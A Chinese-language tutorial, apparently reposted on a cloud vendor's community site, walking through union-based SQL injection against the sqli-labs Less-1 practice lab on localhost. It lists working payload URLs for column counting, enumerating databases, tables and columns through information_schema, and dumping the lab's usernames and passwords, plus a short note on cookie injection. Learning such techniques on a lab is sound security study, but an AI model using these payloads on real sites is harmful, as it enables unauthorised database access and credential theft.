基礎SQL注入

來源:互聯網
上載者:User

標籤:erro   是什麼   情況下   5.5   nta   err   mat   near   data   

預備知識
對mysql資料庫有一定瞭解;對基本的sql語句有所瞭解;
對url編碼有瞭解:空格=‘%20’,單引號=‘%27’,雙引號=‘%22’,井號=‘%23’等

基本步驟
1. 判斷是什麼類型注入,有沒有過濾關鍵字,是否能繞過
2. 確定存在注入的表的列數以及表中資料那些欄位可以顯示出來
3. 擷取資料庫版本,使用者,當前串連的資料庫等資訊
4. 擷取資料庫中所有表的資訊
5. 擷取某個表的欄欄位資訊
5. 擷取相應表的資料

 

Less1,基於錯誤的GET單引號字元型注入。
(單引號,and 1=1,and 1=2,)
http://127.0.0.1/sqli/Less-1/?id=2%27(寬位元組注入)
錯誤提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2‘‘ LIMIT 0,1‘ at line 1
此時的注入語句為: SELECT * FROM users WHERE id=‘2‘‘ LIMIT 0,1 (報單引號不匹配的錯)
注釋符常用的有兩種:
1. -- ‘ 一定要注意在最後一個單引號前面有空格
2. # (空格#空格)

第二步確定表的列數:

使用order by 語句。
當試到‘4‘時,出現報錯資訊,可以知道該表有3列:
Unknown column ‘4‘ in ‘order clause‘
執行的sql語句是:SELECT * FROM users WHERE id=‘2‘ order by 4 -- ‘‘ LIMIT 0,1

第三步,確定欄位的顯示位:
顯示位:表中資料第幾位的欄位可以 顯示,因為並不是所有的查詢結果都 會展示在頁面中,因此需要探測頁面 中展示的查詢結果是哪一列的結果; ‘union select 1,2,3 – ’ 通過顯示的數字可以判斷那些欄位可以顯示出來。
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3 -- ‘
可見2,3所在的欄位可以顯示
ps:id=-1,使用-1是為了使前一個sql語句所選的內容為空白,從而便於後面的select語句顯示資訊


第四步擷取當前資料庫資訊
現在只有兩個欄位可以顯示資訊,顯然在後面的查詢資料中,兩個欄位是不夠用,可以使用group_concat ()函數(可以把查詢出來的多行資料連線起來在一個欄位中顯示)
database()函數:查看當前資料庫名稱

version()函數:查看資料庫版本資訊

user():返回當前資料庫連接使用的使用者


http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,database()或者version()),3 -- ‘
Your Login name:security5.5.53
Your Password:3
可以知道當前資料庫名為security,資料庫版本為5.5.53

第五步,擷取全部資料庫資訊(表,列資訊)
Mysql有一個系統的資料庫information_schema,裡面儲存著所有資料庫的相關資訊,使用該表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1, group_concat(schema_name),3 from information_schema.schemata -- ‘ 爆出所有資料庫名字

以上命令可以擷取到了所有的資料庫資訊 information_schema ,security(是例題中的資料庫資訊)


第六步:擷取security資料庫中的表資訊

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,table_name,3 from information_schema.tables where table_schema=‘security‘ -- ‘(一般情況下要最好將security使用16進位hex編碼轉換。轉換後記得要加0x)
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= ‘資料庫的名‘ table_name 表資訊


第七步:擷取user表的列

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,column_name,3 from information_schema.columns where table_name=‘users‘ limit0,1 -- ‘(users最好轉換,I春秋上介紹,這句話的意思是查詢information_schema資料庫中columns表裡的column_name欄位(就是表最上面的標題)。條件是table_name為user
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
執行的sql語句是:SELECT * FROM users WHERE id=‘-1‘ union select 1,column_name, ,3 from information_schema.columns where table_name=‘users‘ -- ‘‘ LIMIT 0,1 這個一般都要加,加上去改變數字會導致不同

第八步:擷取資料

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,username,password,3 from users -- ‘
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy [email protected], secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3

 


Writeup,我要先查到注入類型跟注入點,然後用order by 查詢整個大資料庫裡表的列數,database()顯示的是當前頁面所使用的資料庫名稱,shecm這個是mysql5.0版本之後特有的一個資料庫,他包含了整個大資料庫裡所有資料庫的表名跟列名。然後用union select 1,2,3…查列顯示位置是多少。然後擷取當前資料庫的名字:union select 1,database()(寫在顯示位),3 –- ‘;得到當前資料庫名稱後,要找到當前資料庫所有表資訊,然後對指定想要擷取的資料庫擷取資料庫表資訊(第六步),然後擷取指定表下面的列資訊 union select 列 from 表

 


第二篇:

Information_schema:儲存mysql資料庫下所有資料庫的表名和列名資訊的內建資料庫
information_schema.schemata:儲存mysql資料庫下所有資料庫的庫名資訊的表 (欄位名為 schema_name的欄位值) 欄位就是列名
information_schema.tables:儲存mysql資料庫下所有資料庫的表名資訊的表 (欄位名為 table_name:表名
條件為 table_schema:資料庫名 )
information_schema.columns:儲存mysql資料庫下所有資料庫的列名資訊的表 (欄位名為column_name:的欄位值))

 

cookie注入:burp裡截取到使用者COOKIE後,將ID=多少再referer中cookie後面加分號之後填寫上去,再寫入命令。

 

基礎SQL注入

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.